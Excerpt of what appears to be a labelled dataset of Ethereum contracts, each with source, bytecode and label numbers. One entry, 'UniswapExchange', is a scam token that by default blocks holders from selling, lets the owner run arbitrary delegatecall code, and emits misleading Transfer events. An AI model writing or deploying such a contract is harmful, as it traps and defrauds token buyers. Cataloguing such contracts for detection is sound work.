d5b8151610c0d81612d79565b6000806040838503121561297157600080fd5b823561297c81612d79565b9150602083013561298c81612d79565b809150509250929050565b6000806000606084860312156129ac57600080fd5b83356129b781612d79565b925060208401356129c781612d79565b929592945050506040919091013590565b600080604083850312156129eb57600080fd5b82356129f681612d79565b946020939093013593505050565b60006020808385031215612a1757600080fd5b823567ffffffffffffffff80821115612a2f57600080fd5b818501915085601f830112612a4357600080fd5b813581811115612a5557612a55612d63565b8060051b604051601f19603f83011681018181108582111715612a7a57612a7a612d63565b604052828152858101935084860182860187018a1015612a9957600080fd5b600095505b83861015612ac357612aaf81612914565b855260019590950194938601938601612a9e565b5098975050505050505050565b600060208284031215612ae257600080fd5b5035919050565b60008060408385031215612afc57600080fd5b823591506020830135801515811461298c57600080fd5b600060208083528351808285015260005b81811015612b4057858101830151858201604001528201612b24565b81811115612b52576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252602d908201527f4d617820547820416d6f756e742063616e6e6f74206265206c6573732074686160408201526c37101a98181036b4b63634b7b760991b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612c3a5784516001600160a01b031683529383019391830191600101612c15565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612c6e57612c6e612d21565b500190565b600082612c9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615612caf57612caf612d21565b500290565b600082821015612cc657612cc6612d21565b500390565b600181811c90821680612cdf57607f821691505b60208210811415612d0057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612d1a57612d1a612d21565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114612d8e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220359dde47201e23433e443791f2b4a6e93dc70478f6041ec4f3ffb57ed0aa490864736f6c63430008070033
[ 13 ]
0xf27b1d0a6d3d8aed21f4458a0ed65a5025e70cba
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100c25760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb1461045e578063aa2f5220146104c4578063d6d2b6ba1461059e578063dd62ed3e14610679576100c2565b806370a08231146103025780638cd8db8a1461036757806395d89b41146103ce576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101bd57806321a9cf34146101e857806323b872dd14610251578063313ce567146102d7575b600080fd5b3480156100d357600080fd5b506100dc6106fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079c565b604051808215151515815260200191505060405180910390f35b3480156101c957600080fd5b506101d261088e565b6040518082815260200191505060405180910390f35b3480156101f457600080fd5b506102376004803603602081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610894565b604051808215151515815260200191505060405180910390f35b6102bd6004803603606081101561026757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093a565b604051808215151515815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610c4d565b6040518082815260200191505060405180910390f35b34801561030e57600080fd5b506103516004803603602081101561032557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c52565b6040518082815260200191505060405180910390f35b34801561037357600080fd5b506103b46004803603606081101561038a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610c6a565b604051808215151515815260200191505060405180910390f35b3480156103da57600080fd5b506103e3610d0e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610423578082015181840152602081019050610408565b50505050905090810190601f1680156104505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104aa6004803603604081101561047457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dac565b604051808215151515815260200191505060405180910390f35b610584600480360360408110156104da57600080fd5b81019080803590602001906401000000008111156104f757600080fd5b82018360208201111561050957600080fd5b8035906020019184602083028401116401000000008311171561052b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610dc1565b604051808215151515815260200191505060405180910390f35b610677600480360360408110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061102a565b005b34801561068557600080fd5b506106e86004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107945780601f1061076957610100808354040283529160200191610794565b820191906000526020600020905b81548152906001019060200180831161077757829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f057600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008082141561094d5760019050610c46565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a945781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a0957600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610a9f848484611160565b610aa857600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af457600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc657600080fd5b60008311610cd5576000610cdd565b6012600a0a83025b60028190555060008211610cf2576000610cfa565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b505050505081565b6000610db933848461093a565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7157600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b845181101561101e576000858281518110610edb57fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610f8b57fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610ffa57fe5b046040518082815260200191505060405180910390a3508080600101915050610ec4565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106110cf57805182526020820191506020810190506020830392506110ac565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461112f576040519150601f19603f3d011682016040523d82523d6000602084013e611134565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600080611196735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23061139c565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806112415750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061128b5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806112c157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806113195750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8061136d5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561137c576001915050611395565b611386858461152a565b61138f57600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106113db5783856113de565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561153f57506000600254145b801561154d57506000600354145b1561155b57600090506115fa565b600060045411156115b7576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115b657600090506115fa565b5b600060025411156115d6578160025411156115d557600090506115fa565b5b600060035411156115f5576003548211156115f457600090506115fa565b5b600190505b9291505056fea265627a7a723158207bd6fc67ba29fab3eb20350f953a2fc1de64c249e5f67f912f1cf383ebb3e80764736f6c63430005110032
[ 0, 15, 8 ]
0xf27bc02f30ab818806844c6576ca139cd9ef7047
pragma solidity ^0.8.3; // SPDX-License-Identifier: Unlicensed /* Token features: 5% redistribution to all holders 10% tax on sell transactions to the marketing wallet (can be updated) */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { 